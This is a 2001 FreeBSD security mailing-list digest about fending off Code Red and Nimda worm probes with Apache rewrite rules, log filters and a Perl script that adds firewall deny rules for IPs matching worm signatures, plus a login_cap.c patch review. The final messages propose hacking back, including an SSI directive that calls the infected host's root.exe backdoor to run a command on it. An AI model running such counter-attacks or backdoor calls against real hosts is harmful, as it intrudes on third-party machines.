ELF     =F04=F44 (444=C0=C0=F4=F4=F4vvxxx=AC=C8=B4=B4=B4pp/usr/libexec/ld-e=
lf.so.FreeBSD=C0=B6
=2E..

So I used the redirect approach:

RedirectMatch .*/(root.exe|cmd.exe|default.ida|Admin.dll).* /cgi-bin/sleep.=
cgi

sleep.c:
int main() {
  sleep(5);
  printf("Content-type: text/plain\n\n");
}

This works. However, it generates a bit too much output:

GET /cmd.exe
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF=3D"/cgi-bin/sleep.cgi">here</A>.<P>
<HR>
<ADDRESS>Apache/1.3.20 Server at anarcat.dyndns.org Port 80</ADDRESS>
</BODY></HTML>

;)

I really don't understand why the Rewrite rule doesn't work as expected.

A.

- --VrqPEDrXMn8OVzN4
Content-Type: application/pgp-signature
Content-Disposition: inline

- -----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjuuJZUACgkQttcWHAnWiGcT/wCfZUO50hEjQUILZJIfZNlkJDgd
c+QAn324N8SSDAEyDviPsqrhDTujaXuP
=v3ql
- -----END PGP SIGNATURE-----

- --VrqPEDrXMn8OVzN4--

------------------------------

Date: Sun, 23 Sep 2001 12:18:43 -0600 (MDT)
From: David G Andersen <danderse@cs.utah.edu>
Subject: Re: New worm protection

Sorry, should have mentioned that I have all .cgi files mapped
to executables.

Have it map to your /cgi-bin like you want.

Name the script nph-<whatever> instead of just <whatever>, which
tells the webserver that your script will generate ALL of the
headers.  Then the script can just close, and the worm
won't get _any_ output from the webserver.

Use RewriteRule, not RedirectMatch.  RedirectMatch sends a redirect,
which is obviously not what you want.  You want to internally 
rewrite the URL so it gets handled transparently.  Then, the 
result is quite pleasing:

131 eep:~/> telnet webby.angio.net 80
Trying 206.197.119.138...
Connected to webby.angio.net.
Escape character is '^]'.
GET /scripts/cmd.exe? HTTP/1.0

Connection closed by foreign host.

See?  Very nice. :)

Lo and behold, The Anarcat once said:
> 
> On Sun, 23 Sep 2001, David G Andersen wrote:
> 
> >   Use mod_rewrite to redirect all accesses to that script.
> >=20
> > RewriteEngine on
> > RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi
> >=20
> > (I haven't tested this syntax.  Test it first. :)
> 
> Unfortunatly, I tested this using a text file, which is fine. Here, if I
> try using a compiled C script (instead of a perl script, faster on a
> small machine), the script gets dumped in binary form! Not executed!
> 
> GET /root.exe
> ELF     =F04=F44 (444=C0=C0=F4=F4=F4vvxxx=AC=C8=B4=B4=B4pp/usr/libexec/ld-e=
> lf.so.FreeBSD=C0=B6
> =2E..
> 
> So I used the redirect approach:
> 
> RedirectMatch .*/(root.exe|cmd.exe|default.ida|Admin.dll).* /cgi-bin/sleep.=
> cgi
> 
> sleep.c:
> int main() {
>   sleep(5);
>   printf("Content-type: text/plain\n\n");
> }
> 
> This works. However, it generates a bit too much output:
> 
> GET /cmd.exe
> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
> <HTML><HEAD>
> <TITLE>302 Found</TITLE>
> </HEAD><BODY>
> <H1>Found</H1>
> The document has moved <A HREF=3D"/cgi-bin/sleep.cgi">here</A>.<P>
> <HR>
> <ADDRESS>Apache/1.3.20 Server at anarcat.dyndns.org Port 80</ADDRESS>
> </BODY></HTML>
> 
> ;)
> 
> I really don't understand why the Rewrite rule doesn't work as expected.
> 
> A.
> 
> --VrqPEDrXMn8OVzN4
> Content-Type: application/pgp-signature
> Content-Disposition: inline
> 
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.6 (FreeBSD)
> Comment: For info see http://www.gnupg.org
> 
> iEYEARECAAYFAjuuJZUACgkQttcWHAnWiGcT/wCfZUO50hEjQUILZJIfZNlkJDgd
> c+QAn324N8SSDAEyDviPsqrhDTujaXuP
> =v3ql
> -----END PGP SIGNATURE-----
> 
> --VrqPEDrXMn8OVzN4--
> 


- -- 
work: dga@lcs.mit.edu                          me:  dga@pobox.com
      MIT Laboratory for Computer Science           http://www.angio.net/

------------------------------

Date: Mon, 24 Sep 2001 04:34:06 +1000 (EST)
From: Ian Smith <smithi@nimnet.asn.au>
Subject: Re: New worm protection

On Sun, 23 Sep 2001, Gregory Neil Shapiro wrote:

 > smithi> Not an option here, but it's the large number of entries in
 > smithi> *-error.log that I'd like to be rid of.  *-access.log I can just
 > smithi> grep out before log analysis, if not exclude in the analyser
 > smithi> config.
 > 
 > This is what I am using:
 > 
 > RedirectMatch (.*)/(root.exe|cmd.exe|default.ida).* /goaway.html
 > SetEnvIf Request_URI "/(root.exe|cmd.exe|default.ida|goaway.html)" MSExploitCrap
 > CustomLog /var/log/httpd-access.log combined env=!MSExploitCrap
 > 
 > And then /goaway.html is just a small file:
 > 
 > <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
 > <HTML><HEAD><TITLE>Go away</TITLE></HEAD><BODY></BODY></HTML>
 > 
 > With this, nothing shows up in either httpd-access.log or httpd-error.log.

I like it, short and sweet.

Thankyou Greg.  Thanks also to David Kirchner, David G Andersen, Steve
Ames and The Anarcat for lots of angles to explore .. but tomorrow. 

Cheers, Ian

------------------------------

Date: Mon, 24 Sep 2001 03:43:53 +0900
From: horio shoichi <horio@pointer-software.com>
Subject: Re: Policy based routing/restricting access __inside__ ones net..

Stanley Hopcroft wrote:
> 
> Dear Ladies and Gentlemen,
> 
> I am writing to ask for advice about providing profile dependent access
> to subsets of ones internal network.
> 
> The context is having third parties access the network for maintenance.
> 
> Once they get logged in on the host they are hired to maintain, how can
> I prevent them accessing other hosts while allowing __some__ access to
> others they may need for problem resolution ? (given that both sets of
> hosts can be specified)
> 
> Can a Kerberos realm enforce access profiles such as these (and then if
> they were forced to use only kerberised applications, grant them tickets
> for access to some hosts only) ?
> 
If you mean by realm to split servers into possibly overlapping set of 
realms each of which has separate set of principals (users and services)
and
users access servers through cross-realm authentication, I see no reason
it
doesn't work.

> Can ipfilter/ipfw provide ACLs depending on user ?
> 
Ipfilter is so low level that it has no notion of user. It only
recognizes
protocol, ip and port. If a user (or users) could be bound to a specific
set of protocol, ip and port corresponding to an instance of service,
then access control might be possible. But I doubt doing this would
worth efforts.

> The access could include Solaris/FreeBSD/AIX servers as well as MS Win
> NT ...
> 
> Thank you,
> 
> Yours sincerely.
> 
>  --
> ------------------------------------------------------------------------
> Stanley Hopcroft        IP Australia
> Network Specialist
> +61 2 6283 3189 +61 2 6281 1353 (FAX)   Stanley.Hopcroft@IPAustralia.Gov.AU
> ------------------------------------------------------------------------
> The study of non-linear physics is like the study of non-elephant
> biology.
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

------------------------------

Date: Sun, 23 Sep 2001 14:52:10 -0400
From: The Anarcat <anarcat@anarcat.dyndns.org>
Subject: Re: New worm protection

- --NKoe5XOeduwbEQHU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 23 Sep 2001, David G Andersen wrote:

> Sorry, should have mentioned that I have all .cgi files mapped
> to executables.
>
> Have it map to your /cgi-bin like you want.

I had cgi configuration problems. They're fixed. :)

> Name the script nph-<whatever> instead of just <whatever>, which
> tells the webserver that your script will generate ALL of the
> headers.  Then the script can just close, and the worm
> won't get _any_ output from the webserver.

Interesting. I didn't know of this feature.

> Use RewriteRule, not RedirectMatch.  RedirectMatch sends a redirect,
> which is obviously not what you want.  You want to internally=20
> rewrite the URL so it gets handled transparently.  Then, the=20
> result is quite pleasing:
>=20
> 131 eep:~/> telnet webby.angio.net 80
> Trying 206.197.119.138...
> Connected to webby.angio.net.
> Escape character is '^]'.
> GET /scripts/cmd.exe? HTTP/1.0
>=20
> Connection closed by foreign host.
>=20
> See?  Very nice. :)

Very nice indeed. I have the same result here now. :) Without the perl
overhead. :) :)

A.

- --NKoe5XOeduwbEQHU
Content-Type: application/pgp-signature
Content-Disposition: inline

- -----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjuuL1kACgkQttcWHAnWiGcipQCfdjLyAq5S39dvrHDU+s6kEGhu
F94An18y8UO0IV4Too1BiyI0XAFE8pek
=Q0/r
- -----END PGP SIGNATURE-----

- --NKoe5XOeduwbEQHU--

------------------------------

Date: Sun, 23 Sep 2001 14:13:31 -0700
From: faSty <fasty@i-sphere.com>
Subject: Re: New worm protection

can you give me sample of statment that closes without output from the
webserver.

I tried use your statement seems not work and it simply
envade almost all 500 domains on my webservers. ugh

I hope your sample can handle all domains not just one domain.

let me know thanks

- -trev

On Sun, Sep 23, 2001 at 12:18:43PM -0600, David G Andersen wrote:
> Sorry, should have mentioned that I have all .cgi files mapped
> to executables.
> 
> Have it map to your /cgi-bin like you want.
> 
> Name the script nph-<whatever> instead of just <whatever>, which
> tells the webserver that your script will generate ALL of the
> headers.  Then the script can just close, and the worm
> won't get _any_ output from the webserver.
> 
> Use RewriteRule, not RedirectMatch.  RedirectMatch sends a redirect,
> which is obviously not what you want.  You want to internally 
> rewrite the URL so it gets handled transparently.  Then, the 
> result is quite pleasing:
> 
> 131 eep:~/> telnet webby.angio.net 80
> Trying 206.197.119.138...
> Connected to webby.angio.net.
> Escape character is '^]'.
> GET /scripts/cmd.exe? HTTP/1.0
> 
> Connection closed by foreign host.
> 
> See?  Very nice. :)
> 
> Lo and behold, The Anarcat once said:
> > 
> > On Sun, 23 Sep 2001, David G Andersen wrote:
> > 
> > >   Use mod_rewrite to redirect all accesses to that script.
> > >=20
> > > RewriteEngine on
> > > RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi
> > >=20
> > > (I haven't tested this syntax.  Test it first. :)
> > 
> > Unfortunatly, I tested this using a text file, which is fine. Here, if I
> > try using a compiled C script (instead of a perl script, faster on a
> > small machine), the script gets dumped in binary form! Not executed!
> > 
> > GET /root.exe
> > ELF     =F04=F44 (444=C0=C0=F4=F4=F4vvxxx=AC=C8=B4=B4=B4pp/usr/libexec/ld-e=
> > lf.so.FreeBSD=C0=B6
> > =2E..
> > 
> > So I used the redirect approach:
> > 
> > RedirectMatch .*/(root.exe|cmd.exe|default.ida|Admin.dll).* /cgi-bin/sleep.=
> > cgi
> > 
> > sleep.c:
> > int main() {
> >   sleep(5);
> >   printf("Content-type: text/plain\n\n");
> > }
> > 
> > This works. However, it generates a bit too much output:
> > 
> > GET /cmd.exe
> > <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
> > <HTML><HEAD>
> > <TITLE>302 Found</TITLE>
> > </HEAD><BODY>
> > <H1>Found</H1>
> > The document has moved <A HREF=3D"/cgi-bin/sleep.cgi">here</A>.<P>
> > <HR>
> > <ADDRESS>Apache/1.3.20 Server at anarcat.dyndns.org Port 80</ADDRESS>
> > </BODY></HTML>
> > 
> > ;)
> > 
> > I really don't understand why the Rewrite rule doesn't work as expected.
> > 
> > A.
> > 
> > --VrqPEDrXMn8OVzN4
> > Content-Type: application/pgp-signature
> > Content-Disposition: inline
> > 
> > -----BEGIN PGP SIGNATURE-----
> > Version: GnuPG v1.0.6 (FreeBSD)
> > Comment: For info see http://www.gnupg.org
> > 
> > iEYEARECAAYFAjuuJZUACgkQttcWHAnWiGcT/wCfZUO50hEjQUILZJIfZNlkJDgd
> > c+QAn324N8SSDAEyDviPsqrhDTujaXuP
> > =v3ql
> > -----END PGP SIGNATURE-----
> > 
> > --VrqPEDrXMn8OVzN4--
> > 
> 
> 
> -- 
> work: dga@lcs.mit.edu                          me:  dga@pobox.com
>       MIT Laboratory for Computer Science           http://www.angio.net/
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

- -- 
The primary theme of SoupCon is communication.  The acronym "LEO"
represents the secondary theme:

	Law Enforcement Officials

The overall theme of SoupCon shall be:

	Avoiding Communication with Law Enforcement Officials

------------------------------

Date: Sun, 23 Sep 2001 14:00:10 -0700 (PDT)
From: David Kirchner <davidk@accretivetg.com>
Subject: Re: New worm protection

Would it be possible to create an accept-filter module (ala accf_http)
that could take care of these and future similar filters, server-wide?

------------------------------

Date: Mon, 24 Sep 2001 01:24:41 +0200
From: "Karl M. Joch" <k.joch@kmjeuro.com>
Subject: Re: New worm protection

I have made a quick and may dirty solution which helps me alot on the
servers. it handles multiple error files. my error files are resetted onec
every 24h. so i dont get to big files.

############################################
# include trailing / in run & wrk
$run = "/usr/local/blockwins/";
$wrk = "/usr/local/blockwins/data/"; # create it in advance

$logfiles = "/usr/local/blockwins/logfiles"; # made by ls
/var/log/your-apache-error-logs
$domfile = "IPs";

$rule = "50"; # the ipfw rule you want to use


#*************************************************** end of config
# Datum vorfuellen:
chop($dat=`date "+%y/%m/%d %H:%M"`);

$cnt=0; # ips
$cnto=0; # ips old
$cnt2=0; # access


# create domain/register file if non existent:
dbmopen (%domains,"$wrk$domfile",0640);
dbmclose (%domains);

dbmopen (%domains,"$wrk$domfile",0640);

# GET OUR LOGFILES
open ("INPUT",$logfiles) || die "$0: cannot open $logfiles !\n";
while (<INPUT>) {
chop ($_);
open ("LOG",$_) || die "cannot open $_! \n";
while (<LOG>) {
  ## [Mon Sep 10 10:38:43 2001] [error] [client 193.215.176.192] File does
not exist: /usr/local/www/default.ida
  $virus=0;

          if (/winnt/) { $virus=1;};
          if (/root.exe/) { $virus=1;};
          if (/cmd.exe/) { $virus=1;};
          if (/default.ida/) { $virus=1;};

  if ($virus) {
#block them:
$results=$_;
        $results=~ s/.*client ([0-9.]+).*\/(.*)$/$1##$2/;
($ip,$comm) = split(/##/,$results);
if ( $domains{$ip}) {
$cnt2++;
$domains{$ip}=$comm; ## last command
}
else {
$cnt++;
$domains{$ip}=$comm; ## last command
}
  }
}
}
print
"########################################################################\n"
;
print "Angriffe von Code Red/Nimda    \n";
print
"########################################################################\n"
;
print "DIFFERNT IPs: $cnt\n";
print
"########################################################################\n"
;
print "TOTAL ACCESS: $cnt2\n";
print
"########################################################################\n"
;
close (INPUT);

# NOW LETS CHECK EVERYTHING:
# clear the one rule:
        @args = ("/sbin/ipfw $rule delete");
        system(@args) == 0 or print "system @args failed: $?\n";

# add all of our idiots:

foreach $dom (sort keys %domains) {
$cnto++;
# print "$dom - denied access to the server with rule $rule\n";
        @args = ("/sbin/ipfw $rule add deny all from $dom to any
>/dev/null");
        system(@args) == 0 or die "system @args failed: $?";
}

print
"########################################################################\n"
;
print "All Rules (Total IPS: $cnto) added to Firewall\n";
print "Known Windows Systems denied access!\n";
print
"########################################################################\n"
;

dbmclose (%domains);



- --
- --
Best regards / Mit freundlichen Gruessen,

Karl M. Joch
KMJ Consulting - CTS Consulting & Trade Service
http://www.kmjeuro.com - http://www.ctseuro.com
k.joch@kmjeuro.com - k.joch@ctseuro.com

GSM : +43-664-3407888

Unsere Services:
http://www.proline.at - Netzwerk und Sicherheitstechnik
http://www.eushop.net - Onlineshop und Applikationen einfach mieten
http://www.freebsd.at - Power Operating System
- ----- Original Message -----
From: "David Kirchner" <davidk@accretivetg.com>
To: <freebsd-security@FreeBSD.ORG>
Sent: Sunday, September 23, 2001 11:00 PM
Subject: Re: New worm protection


> Would it be possible to create an accept-filter module (ala accf_http)
> that could take care of these and future similar filters, server-wide?
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
>

------------------------------

Date: Sun, 23 Sep 2001 17:02:41 -0700
From: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
Subject: Re: Patch for review (was Re: ~/.login_conf disabling exact  reasons wanted)

In message <20010923161354.A426@nagual.pp.ru>, "Andrey A. Chernov" 
writes:
> On Sat, Sep 22, 2001 at 22:58:21 +0400, Andrey A. Chernov wrote:
> 
> > I'll work on the proper fix tomorrow.
> 
> 
> Planned for commit. Please, review and/or comment.
> 
> --- login_cap.c.old	Sun Sep 23 16:09:04 2001
> +++ login_cap.c	Sun Sep 23 16:06:19 2001
> @@ -184,18 +184,17 @@
>      login_cap_t	*lc;
>    
>      if ((lc = malloc(sizeof(login_cap_t))) != NULL) {
> -	int	    r, i = 0;
> +	int         r, me, i = 0;
>  	uid_t euid = 0;
>  	gid_t egid = 0;
>  	const char  *msg = NULL;
> -	const char  *dir = (pwd == NULL) ? NULL : pwd->pw_dir;
> +	const char  *dir;
>  	char	    userpath[MAXPATHLEN];
>  
>  	static char *login_dbarray[] = { NULL, NULL, NULL };
>  
> -#ifndef _FILE_LOGIN_CONF_WORKS
> -	dir = NULL;
> -#endif
> +	me = (name != NULL && strcmp(name, LOGIN_MECLASS) == 0);
> +	dir = (!me || pwd == NULL) ? NULL : pwd->pw_dir;
>  	/*
>  	 * Switch to user mode before checking/reading its ~/.login_conf
>  	 * - some NFSes have root read access disabled.
> @@ -215,7 +214,7 @@
>  	    if (_secure_path(userpath, pwd->pw_uid, pwd->pw_gid) != -1)
>  		i++;		/* only use 'secure' data */
>  	}
> -	if (_secure_path(_PATH_LOGIN_CONF, 0, 0) != -1)
> +	if (me && _secure_path(_PATH_LOGIN_CONF, 0, 0) != -1)
>  	    login_dbarray[i++] = _PATH_LOGIN_CONF;
>  	login_dbarray[i] = NULL;
>  
> @@ -227,7 +226,7 @@
>  
>  	switch (cgetent(&lc->lc_cap, login_dbarray, (char*)name)) {
>  	case -1:		/* Failed, entry does not exist */
> -	    if (strcmp(name, LOGIN_MECLASS) == 0)
> +	    if (me)
>  		break;	/* Don't retry default on 'me' */
>  	    if (i == 0)
>  	        r = -1;

After applying the patch and building world the following are logged to 
syslog.

Sep 23 13:40:00 cwtest /usr/sbin/cron[17208]: login_getclass: unknown 
class 'root'
Sep 23 13:40:00 cwtest /usr/sbin/cron[17207]: login_getclass: unknown 
class 'daemon'
Sep 23 13:40:00 cwtest inetd[17213]: login_getclass: unknown class 
'daemon'

Rsh between hosts behind my firewall here at home work however rsync, 
which uses rsh, does not, an EOF error is displayed.


Regards,                         Phone:  (250)387-8437
Cy Schubert                        Fax:  (250)387-5766
Team Leader, Sun/Alpha Team   Internet:  Cy.Schubert@osg.gov.bc.ca
Open Systems Group, ITSD
Ministry of Management Services
Province of BC

------------------------------

End of security-digest V5 #289
******************************

To Unsubscribe: send mail to majordomo@FreeBSD.org
with unsubscribe freebsd-security-digest in the body of the message

--f8O3fAi21562.1001304083/au.dk--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24  2:39:52 2001
Delivered-To: freebsd-security@freebsd.org
Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42])
	by hub.freebsd.org (Postfix) with ESMTP
	id E984437B411; Mon, 24 Sep 2001 02:39:35 -0700 (PDT)
Received: (from ache@localhost)
	by nagual.pp.ru (8.11.6/8.11.6) id f8O9dTt58431;
	Mon, 24 Sep 2001 13:39:29 +0400 (MSD)
	(envelope-from ache)
Date: Mon, 24 Sep 2001 13:39:26 +0400
From: "Andrey A. Chernov" <ache@nagual.pp.ru>
To: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca>
Cc: Robert Watson <rwatson@FreeBSD.ORG>, security@FreeBSD.ORG,
	current@FreeBSD.ORG, developers@FreeBSD.ORG,
	security-officer@FreeBSD.ORG
Subject: Re: Patch for review (was Re: ~/.login_conf disabling exact reasons wanted)
Message-ID: <20010924133925.A58403@nagual.pp.ru>
References: <20010923161354.A426@nagual.pp.ru> <200109240003.f8O037701400@cwsys.cwsent.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <200109240003.f8O037701400@cwsys.cwsent.com>
User-Agent: Mutt/1.3.21i
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Sun, Sep 23, 2001 at 17:02:41 -0700, Cy Schubert - ITSD Open Systems Group wrote:
> 
> After applying the patch and building world the following are logged to 
> syslog.

Last minute mistake from my side. Try this one instead:

--- login_cap.c.old	Sun Sep 23 16:09:04 2001
+++ login_cap.c	Mon Sep 24 13:32:45 2001
@@ -184,18 +184,17 @@
     login_cap_t	*lc;
   
     if ((lc = malloc(sizeof(login_cap_t))) != NULL) {
-	int	    r, i = 0;
+	int         r, me, i = 0;
 	uid_t euid = 0;
 	gid_t egid = 0;
 	const char  *msg = NULL;
-	const char  *dir = (pwd == NULL) ? NULL : pwd->pw_dir;
+	const char  *dir;
 	char	    userpath[MAXPATHLEN];
 
 	static char *login_dbarray[] = { NULL, NULL, NULL };
 
-#ifndef _FILE_LOGIN_CONF_WORKS
-	dir = NULL;
-#endif
+	me = (name != NULL && strcmp(name, LOGIN_MECLASS) == 0);
+	dir = (!me || pwd == NULL) ? NULL : pwd->pw_dir;
 	/*
 	 * Switch to user mode before checking/reading its ~/.login_conf
 	 * - some NFSes have root read access disabled.
@@ -227,7 +226,7 @@
 
 	switch (cgetent(&lc->lc_cap, login_dbarray, (char*)name)) {
 	case -1:		/* Failed, entry does not exist */
-	    if (strcmp(name, LOGIN_MECLASS) == 0)
+	    if (me)
 		break;	/* Don't retry default on 'me' */
 	    if (i == 0)
 	        r = -1;

-- 
Andrey A. Chernov
http://ache.pp.ru/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24  4:12: 9 2001
Delivered-To: freebsd-security@freebsd.org
Received: from cyclone.tornadogroup.com (cyclone.tornadogroup.com [212.172.155.83])
	by hub.freebsd.org (Postfix) with ESMTP id 6B3E137B414
	for <security@FreeBSD.ORG>; Mon, 24 Sep 2001 04:12:05 -0700 (PDT)
Received: from claudette.e1.tornadogroup.com (claudette.e1.tornadogroup.com [192.168.0.77])
	by cyclone.tornadogroup.com (8.10.0.Beta10/8.10.0.Beta10) with ESMTP id f8OBBsN28696;
	Mon, 24 Sep 2001 12:11:54 +0100 (BST)
Received: from tornadogroup.com (localhost [127.0.0.1])
	by claudette.e1.tornadogroup.com (8.11.6/8.11.6) with ESMTP id f8OBBma20154;
	Mon, 24 Sep 2001 12:11:48 +0100 (BST)
	(envelope-from matthew.seaman@tornadogroup.com)
Message-ID: <3BAF14F4.E9912F0F@tornadogroup.com>
Date: Mon, 24 Sep 2001 12:11:48 +0100
From: Matthew Seaman <matthew.seaman@tornadogroup.com>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.12 i386)
X-Accept-Language: en-GB, en
MIME-Version: 1.0
To: The Anarcat <anarcat@anarcat.dyndns.org>
Cc: David G Andersen <danderse@cs.utah.edu>,
	Ian Smith <smithi@nimnet.asn.au>, Chris Byrnes <chris@JEAH.net>,
	security@FreeBSD.ORG
Subject: Re: New worm protection
References: <Pine.BSF.3.96.1010924022816.9322B-100000@gaia.nimnet.asn.au> <200109231703.f8NH3NK24837@faith.cs.utah.edu> <20010923135143.A546@shall.anarcat.dyndns.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

The Anarcat wrote:
> 
> On Sun, 23 Sep 2001, David G Andersen wrote:
> 
> > Lo and behold, Ian Smith once said:
> > >
> > > Cute.  Will play.  However there are other directories too; dumping
> > > ANY request containing cmd.exe or root.exe would do it best here.
> >
> >   Use mod_rewrite to redirect all accesses to that script.
> >
> > RewriteEngine on
> > RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi
> >
> > (I haven't tested this syntax.  Test it first. :)
> 
> Nice idea! Here's what I did:
> 
> RewriteEngine on
> RewriteRule .*/cmd.exe.* /nimda.txt
> RewriteRule .*/root.exe.* /nimda.txt
> RewriteRule .*/default.ida.* /codered.txt
> RewriteRule .*/Admin.dll.* /codered.txt
> RewriteRule .*\\Admin.dll.* /codered.txt
> 
> nimda.txt and codered.txt are simply empty files. This reduces the
> bandwitdh used by the attack and removes the entries in error.log.

As has been mentionned elsewhere in this thread, this will cause your server
to issue a 302 re-direct.  Which is probably not the effect intended. 
However, there's no reason to redirect back to your own server.  Those of you
feeling particularly evil may want to consider something along the lines of:

RewriteEngine on
RewriteRule ^/(.*/cmd.exe.*)$	http://%{REMOTE_ADDR}/$1

which is about the closest you can come to "Up yours!" in httpd.conf speak...

Standard disclaimers: not tested, consult a lawyer, etc. etc.

	Matthew

-- 
Matthew Seaman                                         Tel: 01628 498661

        Certe, Toto, sentio nos in Kansate non iam adesse.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Mon Sep 24  4:50:57 2001
Delivered-To: freebsd-security@freebsd.org
Received: from gahch.it.ca (gahch.it.ca [216.126.86.4])
	by hub.freebsd.org (Postfix) with ESMTP id 65C5137B410
	for <security@FreeBSD.ORG>; Mon, 24 Sep 2001 04:50:53 -0700 (PDT)
Received: (from paul@localhost)
	by gahch.it.ca (8.11.6/8.11.6) id f8OBoHQ08313;
	Mon, 24 Sep 2001 07:50:17 -0400 (EDT)
	(envelope-from paul)
Date: Mon, 24 Sep 2001 07:50:17 -0400
From: Paul Chvostek <paul@it.ca>
To: Matthew Seaman <matthew.seaman@tornadogroup.com>
Cc: reladanderse@cs.utah.edu, smithi@nimnet.asn.au, chris@JEAH.net,
	security@FreeBSD.ORG
Subject: Re: New worm protection
Message-ID: <20010924075017.A7668@gahch.it.ca>
References: <Pine.BSF.3.96.1010924022816.9322B-100000@gaia.nimnet.asn.au> <200109231703.f8NH3NK24837@faith.cs.utah.edu> <20010923135143.A546@shall.anarcat.dyndns.org> <3BAF14F4.E9912F0F@tornadogroup.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BAF14F4.E9912F0F@tornadogroup.com>; from matthew.seaman@tornadogroup.com on Mon, Sep 24, 2001 at 12:11:48PM +0100
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org


Hiya.

On Mon, Sep 24, 2001 at 12:11:48PM +0100, Matthew Seaman wrote:
> 
> The Anarcat wrote:
> > 
> > On Sun, 23 Sep 2001, David G Andersen wrote:
> > 
> > > Lo and behold, Ian Smith once said:
> > > >
> > > > Cute.  Will play.  However there are other directories too; dumping
> > > > ANY request containing cmd.exe or root.exe would do it best here.
> > >
> > >   Use mod_rewrite to redirect all accesses to that script.
> > >
> > > RewriteEngine on
> > > RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi
> > >
> > > (I haven't tested this syntax.  Test it first. :)
> > 
> > Nice idea! Here's what I did:
> > 
> > RewriteEngine on
> > RewriteRule .*/cmd.exe.* /nimda.txt
> > RewriteRule .*/root.exe.* /nimda.txt
> > RewriteRule .*/default.ida.* /codered.txt
> > RewriteRule .*/Admin.dll.* /codered.txt
> > RewriteRule .*\\Admin.dll.* /codered.txt
> > 
> > nimda.txt and codered.txt are simply empty files. This reduces the
> > bandwitdh used by the attack and removes the entries in error.log.
> 
> As has been mentionned elsewhere in this thread, this will cause your server
> to issue a 302 re-direct.  Which is probably not the effect intended. 
> However, there's no reason to redirect back to your own server.  Those of you
> feeling particularly evil may want to consider something along the lines of:
> 
> RewriteEngine on
> RewriteRule ^/(.*/cmd.exe.*)$	http://%{REMOTE_ADDR}/$1
> 
> which is about the closest you can come to "Up yours!" in httpd.conf speak...

This would be all very nice if we could be sure that Nimda was properly
HTTP compliant and respected 302 redirects, but I strongly suspect that
such accurate protocol support was not one of the authors' requirements.

Legality notwithstanding, my vote would be for something like this:

In httpd.conf:
	AddType text/html .ida
	AddHandler server-parsed .ida

And in your ServerRoot, a file called default.ida containing:

<p>Here's a nickel.  Buy yourself a <i>real</i> operating system.</p>
<!--#exec cmd="/usr/local/bin/lynx -dump http://$REMOTE_HOST/scripts/root.exe\?/c+net+send+localhost+%22Your+webserver+has+been+infected+with+the+CodeRed2+worm.+You+have+a+security+hole+so+big+that+you+can+drive+a+Mack+truck+through+it.+You+should+fix+it+before+script+kiddie+comes+along+and+take+advantage+of+it+again.+Remove+root.exe+and+shell.exe+from+c:%5Cinetpub%5Cscripts+\(or+wherever+your+CGI+scripts+live\),+and+install+a+bloody+virus+scanner.+BTW,+your+default+root+has+been+removed.%22 >/dev/null 2>/dev/null" -->
